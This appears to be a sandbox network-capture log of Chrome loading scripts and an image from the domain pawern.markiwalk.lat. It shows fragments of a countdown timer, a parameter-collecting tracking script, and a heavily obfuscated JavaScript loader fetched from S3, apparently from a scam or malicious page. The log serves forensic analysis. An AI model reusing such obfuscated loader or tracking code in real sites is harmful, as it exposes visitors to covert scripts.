2024-10-03 16:18:12 UTC	545	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 73 65 63 6f 6e 64 73 20 3d 20 70 61 72 73 65 49 6e 74 28 74 69 6d 65 72 20 25 20 36 30 2c 20 31 30 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 75 74 65 73 20 3d 20 6d 69 6e 75 74 65 73 20 3c 20 31 30 20 3f 20 22 22 20 2b 20 6d 69 6e 75 74 65 73 20 3a 20 6d 69 6e 75 74 65 73 3b 0d 0a 20 20 20 20 20 20 20 20 73 65 63 6f 6e 64 73 20 3d 20 73 65 63 6f 6e 64 73 20 3c 20 31 30 20 3f 20 22 30 22 20 2b 20 73 65 63 6f 6e 64 73 20 3a 20 73 65 63 6f 6e 64 73 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 22 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 63 6f 6e 2d 74 69 6d 65 2d 62 6c 6f 63 6b 27 3e 22 20 2b 20 6d 69 6e 75 74 65 73 20 2b 20 22 3c 2f 73 70 61 6e 3e 3a 3c 73 70 61 6e 20 63 Data Ascii: seconds = parseInt(timer % 60, 10); minutes = minutes < 10 ? "" + minutes : minutes; seconds = seconds < 10 ? "0" + seconds : seconds; display.innerHTML = "<span class='con-time-block'>" + minutes + "</span>:<span c
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49734	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:12 UTC	439	OUT	GET /inc/msg.js?a58c8a565bfd2d3dfa996defbc12dda9 HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:12 UTC	808	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 16:18:12 GMT last-modified: Fri, 21 Jun 2024 16:01:34 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ia7z7A0ENd3dKPs7e68qQqTZ1zJkoXvBaN42w3CzWTFcMUe5UNiKE0mxciiHzhnwPsOWtmM7i7uSK9BrqEbkDZAJL6unBua6TuMSSsbvnIDxZcE%2FPIWxpHq8G%2BFbJO6dPfoa5OWQUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f2edd514285-EWR
2024-10-03 16:18:12 UTC	561	IN	Data Raw: 33 61 66 0d 0a 76 61 72 20 4d 59 43 41 4c 4c 20 3d 20 4d 59 43 41 4c 4c 20 7c 7c 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 70 73 68 70 61 72 61 6d 73 20 3d 20 7b 7d 3b 20 2f 2f 20 70 72 69 76 61 74 65 0a 20 20 20 20 72 65 74 75 72 6e 20 7b 0a 20 20 20 20 20 20 20 20 69 6e 69 74 20 3a 20 66 75 6e 63 74 69 6f 6e 28 41 72 67 73 29 20 7b 0a 20 20 20 20 09 20 20 20 20 2f 2f 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 41 72 67 73 5b 32 5d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 70 61 72 61 6d 73 20 3d 20 41 72 67 73 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 70 75 62 20 3d 20 41 72 67 73 5b 31 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 73 68 64 6f 6d 61 69 6e 20 3d 20 41 72 67 73 5b 32 5d 3b 0a 20 20 20 20 20 Data Ascii: 3afvar MYCALL = MYCALL \|\| (function(){ var pshparams = {}; // private return { init : function(Args) { //console.log(Args[2]); pshparams = Args[0]; pshpub = Args[1]; pshdomain = Args[2];
2024-10-03 16:18:12 UTC	389	IN	Data Raw: 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 74 6d 4f 62 6a 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 75 74 6d 5f 73 6f 75 72 63 65 22 3a 20 70 73 68 70 75 62 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 6f 75 72 63 65 5f 74 77 6f 22 3a 20 70 73 68 70 61 72 61 6d 73 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 6f 75 72 63 65 5f 6f 6e 65 22 3a 20 62 74 6f 61 28 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 55 74 6d 28 75 74 6d 4f 62 6a 29 3b 0a 2f 2f 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 65 72 74 28 27 73 65 6e 64 69 6e 67 3a 20 27 2b 70 73 68 70 61 72 61 6d 73 29 3b 0a 20 20 20 20 20 20 20 Data Ascii: init(); var utmObj = { "utm_source": pshpub, "source_two": pshparams, "source_one": btoa(location.hostname) } setUtm(utmObj);// alert('sending: '+pshparams);
2024-10-03 16:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49736	52.92.227.48	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:13 UTC	548	OUT	GET /jsma/BkJz87K/ma.js HTTP/1.1 Host: s3.us-west-2.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:13 UTC	428	IN	HTTP/1.1 200 OK x-amz-id-2: wQMCbQ6OIVEy6+iU90OLqto2TZazD353QQ9lV4LCnDmobLMCqcLHiNXyJ3wdgMYR70MKjaSA7jI= x-amz-request-id: G17F8DJPHZQAW11Y Date: Thu, 03 Oct 2024 16:18:14 GMT Last-Modified: Fri, 09 Aug 2024 16:57:38 GMT ETag: "092c4a0a8f166980d43ee01904806851" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: AmazonS3 Content-Length: 24142 Connection: close
2024-10-03 16:18:13 UTC	8482	IN	Data Raw: 76 61 72 20 5f 30 78 33 63 39 37 38 37 3d 5f 30 78 63 63 62 65 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 64 31 34 38 33 2c 5f 30 78 32 32 61 38 66 63 29 7b 76 61 72 20 5f 30 78 33 66 37 33 39 39 3d 5f 30 78 63 63 62 65 2c 5f 30 78 35 63 37 32 31 62 3d 5f 30 78 32 64 31 34 38 33 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 65 34 31 61 31 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 38 37 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 34 30 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 36 36 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 38 62 29 29 2f 30 78 34 29 Data Ascii: var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();while(!![]){try{var _0x5e41a1=parseInt(_0x3f7399(0x187))/0x1(parseInt(_0x3f7399(0x140))/0x2)+-parseInt(_0x3f7399(0x166))/0x3(-parseInt(_0x3f7399(0x8b))/0x4)
2024-10-03 16:18:13 UTC	9000	IN	Data Raw: 5f 30 78 35 34 30 30 66 33 28 5f 30 78 33 38 33 61 66 36 3c 5f 30 78 31 36 65 31 64 65 28 29 29 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 31 37 35 39 33 29 7b 76 61 72 20 5f 30 78 32 65 34 31 61 33 3d 5f 30 78 34 37 31 36 65 35 3b 5f 30 78 66 36 31 39 32 62 28 6e 65 77 20 45 72 72 6f 72 28 5f 30 78 32 65 34 31 61 33 28 30 78 66 37 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 34 31 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 39 38 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 62 66 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 38 66 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 66 32 29 2b 27 66 61 69 6c 27 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 35 39 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 61 31 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 63 66 29 2b 5f 30 Data Ascii: _0x5400f3(_0x383af6<_0x16e1de());},function(_0x417593){var _0x2e41a3=_0x4716e5;_0xf6192b(new Error(_0x2e41a3(0xf7)+_0x2e41a3(0x141)+_0x2e41a3(0x98)+_0x2e41a3(0xbf)+_0x2e41a3(0x8f)+_0x2e41a3(0xf2)+'fail'+_0x2e41a3(0x159)+_0x2e41a3(0x1a1)+_0x2e41a3(0xcf)+_0
2024-10-03 16:18:13 UTC	6660	IN	Data Raw: 78 64 35 29 2b 27 69 76 61 74 27 2b 27 65 27 5d 29 7b 6c 65 74 20 5f 30 78 31 62 34 62 63 62 3d 5f 30 78 31 36 39 30 36 62 28 30 78 63 39 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 35 31 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 31 62 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 62 64 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 36 34 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 34 64 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 39 34 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 39 31 29 2b 5f 30 78 31 36 39 30 36 62 28 30 78 65 37 29 2b 27 3d 27 2b 6d 61 6b 65 69 64 28 30 78 33 32 29 3b 76 61 72 20 5f 30 78 31 63 33 63 34 31 3d 64 6f 63 75 6d 65 6e 74 5b 27 63 72 65 61 27 2b 5f 30 78 31 36 39 30 36 62 28 30 78 31 39 36 29 2b 5f 30 78 31 36 39 30 36 62 28 Data Ascii: xd5)+'ivat'+'e']){let _0x1b4bcb=_0x16906b(0xc9)+_0x16906b(0x151)+_0x16906b(0x11b)+_0x16906b(0xbd)+_0x16906b(0x164)+_0x16906b(0x14d)+_0x16906b(0x94)+_0x16906b(0x191)+_0x16906b(0xe7)+'='+makeid(0x32);var _0x1c3c41=document['crea'+_0x16906b(0x196)+_0x16906b(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49740	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:13 UTC	659	OUT	GET /master/terms/js/_modal.js?v=7 HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:13 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:13 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:25:26 GMT last-modified: Tue, 06 Aug 2024 14:09:18 GMT vary: Accept-Encoding,User-Agent x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff CF-Cache-Status: HIT Age: 3167 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p8dkemGhnaBMIpJQYwfiMI1Fj5tw2%2Fyb4zTusFaB8ek44KDVEs6UccqhcThDepTpZ4BPjNmSnCBVc69%2FTYxsvEm4sMZu8GKjSxPQXPDyWA5YCq0r0GMFJ%2BVIPuw6HpPxXk3xXHrrwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f30db5719bb-EWR
2024-10-03 16:18:13 UTC	556	IN	Data Raw: 34 63 62 0d 0a 2f 2f 20 47 65 74 20 74 68 65 20 6d 6f 64 61 6c 20 65 6c 65 6d 65 6e 74 0a 20 20 20 20 76 61 72 20 6d 6f 64 61 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 65 72 6d 73 4d 6f 64 61 6c 22 29 3b 0a 20 20 20 20 76 61 72 20 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 6f 64 61 6c 43 6f 6e 74 65 6e 74 22 29 3b 0a 20 20 20 20 76 61 72 20 74 65 72 6d 73 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 74 65 72 6d 73 54 65 78 74 22 29 3b 0a 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 62 75 74 74 6f 6e 20 74 68 61 74 20 6f 70 65 6e 73 20 74 68 65 20 6d 6f 64 61 6c 0a 20 20 20 20 Data Ascii: 4cb// Get the modal element var modal = document.getElementById("termsModal"); var modalContent = document.getElementById("modalContent"); var termsText = document.getElementById("termsText"); // Get the button that opens the modal
2024-10-03 16:18:13 UTC	678	IN	Data Raw: 6f 6d 20 74 68 65 20 50 48 50 20 66 69 6c 65 0a 20 20 20 20 20 20 20 20 66 65 74 63 68 28 27 2f 6d 61 73 74 65 72 2f 74 65 72 6d 73 2f 6a 73 2f 74 65 73 74 2e 70 68 70 27 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 72 6d 73 54 65 78 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 64 61 74 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 6f 64 61 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 62 6c 6f 63 6b 22 3b 0a 20 20 20 20 20 20 20 20 7d 29 0a 20 20 20 20 20 20 20 20 2e 63 61 74 63 68 28 65 72 72 6f 72 20 3d 3e 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: om the PHP file fetch('/master/terms/js/test.php') .then(response => response.text()) .then(data => { termsText.innerHTML = data; modal.style.display = "block"; }) .catch(error => {
2024-10-03 16:18:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49742	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:13 UTC	682	OUT	GET /master/us217/bg.jpg HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/master/us217/style.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:13 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:13 GMT Content-Type: image/jpeg Content-Length: 20407 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3072 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4nNqcH2Jpq63CEA8TNLY7vfhhHDcEYVS5bJXbhktdG0RYBXcBvs1HWO4OC%2FQFtWku15Z1JmynVapoNzTYyyMy8x31SfXQehBL2w9xZ1Its%2BRyWDcjxXQgutQ3o6%2FeAGQs%2BuKV0eEGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f31fa90de9b-EWR
2024-10-03 16:18:13 UTC	565	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 07 05 06 06 06 05 07 06 06 06 08 08 07 09 0b 12 0c 0b 0a 0a 0b 17 10 11 0d 12 1b 17 1c 1c 1a 17 1a 19 1d 21 2a 24 1d 1f 28 20 19 1a 25 32 25 28 2c 2d 2f 30 2f 1d 23 34 38 34 2e 37 2a 2e 2f 2e ff db 00 43 01 08 08 08 0b 0a 0b 16 0c 0c 16 2e 1e 1a 1e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ff c0 00 11 08 01 c8 02 60 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 36 10 00 02 02 02 00 04 05 03 04 01 04 02 03 00 03 00 00 01 02 03 04 11 05 12 21 31 06 13 41 51 61 22 32 81 14 42 71 91 23 07 15 43 52 Data Ascii: JFIFHHC!$( %2%(,-/0/#484.7./.C...................................................`"6!1AQa"2Bq#CR
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 34 10 e8 84 b1 74 4d 07 41 02 c1 a2 04 80 58 03 a2 68 9a 00 84 0e 88 08 02 04 9a 02 c0 10 e8 9a 02 c5 0e 83 a2 02 00 81 08 00 d1 34 12 10 03 44 0e 89 a0 00 40 84 12 c0 4d 04 9a 02 c0 4d 07 44 d0 16 0d 10 62 01 60 20 48 08 0d 10 3a 26 80 21 03 a2 68 00 10 3a 0e 80 14 9a 1b 44 d1 49 60 d1 34 36 89 a2 0b 17 41 d0 74 1d 01 62 e8 9a 18 85 25 83 44 08 40 b1 74 1d 04 9a 04 06 88 1d 07 44 02 87 41 d1 34 50 02 0d a2 68 01 48 36 88 00 a4 1b 44 d0 20 ba 0e 83 a2 68 00 68 9a 1b 44 d0 02 e8 3a 0e 83 a2 81 74 4d 0d a2 68 80 5d 13 43 68 3a 28 17 44 d0 c4 04 14 9a 1b 44 16 0c 04 20 48 7a 00 40 e8 80 00 81 0e 80 01 02 40 40 07 44 08 00 d1 02 88 00 02 4d 04 10 04 d0 74 4d 00 02 0c 42 00 68 81 20 20 34 4d 04 20 0b a2 0d a2 68 00 68 81 d0 74 00 ba 20 da 0e 89 60 4d 07 43 68 Data Ascii: 4tMAXh4D@MMDb` H:&!h:DI`46Atb%D@tDA4PhH6D hhD:tMh]Ch:(DD Hz@@@DMtMBh 4M hht `MCh
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 41 b4 4d 16 c6 a0 d1 34 36 89 a1 64 d4 54 1d 07 41 d1 6c 6a 28 74 1d 07 42 cb a8 a1 d0 74 1d 0b 1a 8b a0 e8 3a 0e 99 2c 6a 04 1d 07 41 d0 b1 a8 08 1d 07 42 cb a9 e5 bc e8 fb 93 cd 47 26 19 75 c9 f7 2f 8d f0 5f b9 1d 94 e0 fc 33 c6 d4 97 94 6f f3 03 ce 63 57 c7 dd 0b 3b e3 e8 cb 68 5b 35 ce dd 12 17 6d 18 95 aa 43 73 68 aa 99 9b 69 9b d5 ab d4 75 38 bf 53 9b ce c3 cf 2f 71 45 d8 e9 ad 30 9c ea ef 94 5f 56 69 8e 44 5f 73 2d 1b 52 46 80 95 c6 d8 bf 52 c4 d3 f5 32 6d 51 34 4d 05 32 6d 12 ca 4d 07 44 09 2c b4 02 0c 91 34 4b 14 02 68 62 0b 2d 03 44 09 05 8a 06 83 a2 10 58 a2 10 81 d1 6c 50 08 1d 00 58 a2 13 44 09 6c 51 08 42 0b 14 1d 10 01 05 a0 a2 00 28 0a 08 40 40 28 21 02 08 14 12 10 20 b4 40 e8 01 21 68 24 20 45 8a 22 0e 88 13 36 5a 22 0a 20 51 2c b4 4d 07 Data Ascii: AM46dTAlj(tBt:,jABG&u/_3ocW;h[5mCshiu8S/qE0_ViD_s-RFR2mQ4M2mMD,4Khb-DXlPXDlQB(@@(! @!h$ E"6Z" Q,M
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 35 2f ae 76 a7 c4 2b 8f 6e a6 6b 38 9c bf 6a 39 ba 26 86 a8 cb cc cd 73 cf ba 5e a6 79 5f 64 9f 59 31 34 1e 51 a9 87 91 b0 ab 26 bf 73 2c 8e 55 ab f7 b2 ae 52 72 8d 46 ec b5 e5 5c ff 00 7b 2b 95 b6 4b bc 98 39 43 ca 35 26 ec 46 e4 fd 41 a6 59 ca 1e 53 49 13 62 9d 30 a4 cb 79 49 c8 5a 26 c5 7b 9f bb 07 d5 ee 5d c8 1e 43 49 0d 99 47 52 68 bf 90 9c 86 92 26 c5 1a 26 8b f9 00 e2 6e 89 b1 4f 28 79 4b 12 0f 29 52 26 c5 5a 23 5d 0b 79 40 d0 7d 04 cc ed e9 e8 25 56 bd 4c b7 5d 11 c3 7e ce ad 74 0d 81 6d b2 cd 24 b6 1a 92 6c b7 d9 0e 03 d1 34 26 c6 52 3e 11 f5 48 d0 34 33 62 39 00 47 10 68 3c c1 4c 01 74 49 0c 46 b6 00 88 9b 19 47 41 d0 02 6c 6d 91 c4 56 80 1d 32 15 87 60 51 60 1a 17 6c 9c cc 82 86 d1 01 cc 4e 60 06 20 13 41 e8 01 36 32 93 15 05 14 94 3f 3b 19 58 Data Ascii: 5/v+nk8j9&s^y_dY14Q&s,URrF\{+K9C5&FAYSIb0yIZ&{]CIGRh&&nO(yK)R&Z#]y@}%VL]~tm$l4&R>H43b9Gh<LtIFGAlmV2`Q`lN` A62?;X
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: e6 92 64 b4 8c d1 6b d4 16 34 ba 1b e7 c3 6e 8c 77 2e 87 3e fa 25 09 69 b2 4b a1 1e cc d6 c9 76 2a da 34 79 1c db ea 0a f1 9c a7 ad 9c cd d1 9c 25 96 d6 a1 2e 54 2b 86 a3 b0 28 40 7a 85 f7 e8 00 06 4c 0c 29 a0 4b b8 b1 40 6c 89 81 91 22 58 a0 84 1d 88 5b 14 40 0d 14 db 2c 95 4d 25 f2 2c 94 54 43 4c f1 a5 04 9b d7 55 b2 99 47 5e a2 c5 15 84 8f a0 00 a0 80 b2 9e 4e 65 cf d8 d1 77 e9 96 bc bd b1 62 8c 7d 43 d7 7d 8d 95 59 8d 1d f3 43 7e c2 4a ea 94 f6 ab 5a 16 5a 28 4f ff 00 e2 34 74 a2 f9 a0 34 af 8f 2f 2a 8a 16 57 39 47 97 48 01 94 14 a2 92 5d 4e 85 5c 36 99 e3 4a c9 5a a3 24 bb 33 95 1b 24 bb 31 dd f6 49 69 c9 91 df b0 5f 92 8b 12 52 6b 7d 89 d8 8d 3e 6d 8c cd 12 8d 2c 0d a6 b4 8a db 7a 24 13 06 4b 2a 84 ba f4 2d 8c 5f a8 d5 ed 44 75 bd 94 82 a8 af 51 d4 Data Ascii: dk4nw.>%iKv4y%.T+(@zL)K@l"X[@,M%,TCLUG^Newb}C}YC~JZZ(O4t4/W9GH]N\6JZ$3$1Ii_Rk}>m,z$K*-_DuQ
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: e5 3e f7 4b fb 11 e5 df 2e f6 4b fb 32 21 d0 e8 97 2f 92 ff 00 3a c6 fe e7 fd 82 56 cf 7a db 2b 8c 92 24 9a 7d 8a 99 1a 63 4a 6d fa 8b ce 0d af 52 b9 48 b6 4a 0c ba 94 4d f5 0c e4 53 26 1c 8a 91 2c 4a 4b a1 95 ae a5 b2 93 2b 7d cc 36 6c 04 09 34 40 2b 0a 41 d0 40 2a 70 ea 0e 5e a5 ac 56 80 15 22 68 64 88 d1 40 ba 09 08 00 a0 0b 20 04 d0 63 d0 84 45 21 18 ac 2c 0c 10 04 64 23 00 3a e8 00 ed e8 50 02 44 98 50 c8 58 a1 52 0e 83 2f 82 35 b1 65 a2 35 d0 47 d8 b3 d3 42 49 74 16 4a 2a 5b 1d 30 24 f4 36 8a 28 f4 55 57 d0 d5 5e 3e d6 f4 68 c0 c3 b2 d4 b4 8f 55 c2 bc 3b 7e 4a d4 60 df e0 c4 a5 47 34 ac f2 f5 62 ef f6 96 ac 07 2e d1 67 d4 78 67 81 6c 9e a5 6a d2 3d 1e 3f 84 78 6e 1c 14 af 49 ff 00 26 6e 4c b4 be 4f 88 c3 83 df 3f b6 a9 3f c1 b3 1f c3 19 f6 b5 cb 44 Data Ascii: >K.K2!/:Vz+$}cJmRHJMS&,JK+}6l4@+A@p^V"hd@ cE!,d#:PDPXR/5e5GBItJ[0$6(UW^>hU;~J`G4b.gxglj=?xnI&nLO??D
2024-10-03 16:18:13 UTC	1369	IN	Data Raw: 07 61 d0 fd 8a 67 53 df 62 a9 06 8e 44 ea 49 75 45 4e 31 5d 74 74 ad af 7d 0c 76 d7 ae 86 d4 8c d1 ce b5 6e 5d 11 53 89 b9 d4 55 2a cd d8 a3 1b 88 bc 86 b7 0d 08 e2 85 8a 33 f2 93 94 b5 a0 34 5b 14 52 e3 d4 57 12 e6 85 97 42 8a 28 e5 06 8b 84 d1 45 09 a0 49 0e d0 1a 06 68 40 34 3e 80 51 45 6d 0a d1 6b ea 4e 46 c8 42 9d 07 46 98 d5 1d 75 03 84 53 04 33 e9 93 46 86 97 a2 11 c4 02 8e 5d b1 dc 3a 8f 18 75 2d 69 24 50 51 c9 d0 9c ba 45 9a d8 b2 89 01 5c 50 cc 55 dc 8e 5d 74 00 41 d3 63 6b a0 9c af 65 28 76 91 3a 68 65 5e fa 83 93 ae 80 b1 12 94 9e 91 7f 27 2c 7e 4b 21 c9 18 fc 82 6d 6b b9 4c 32 fa ae d3 ee 74 29 c9 7d 3a 9c 38 c9 97 42 e6 8c 33 34 7a 7c 7c f9 2d 47 98 e9 e3 f1 29 42 49 29 1e 36 9b 9a 96 db 2f fd 53 52 e8 cc d1 1c 4f a1 63 f1 99 c5 74 9b fe cd Data Ascii: agSbDIuEN1]tt}vn]SU*34[RWB(EIh@4>QEmkNFBFuS3F]:u-i$PQE\PU]tAcke(v:he^',~K!mkL2t)}:8B34z\|\|-G)BI)6/SROct
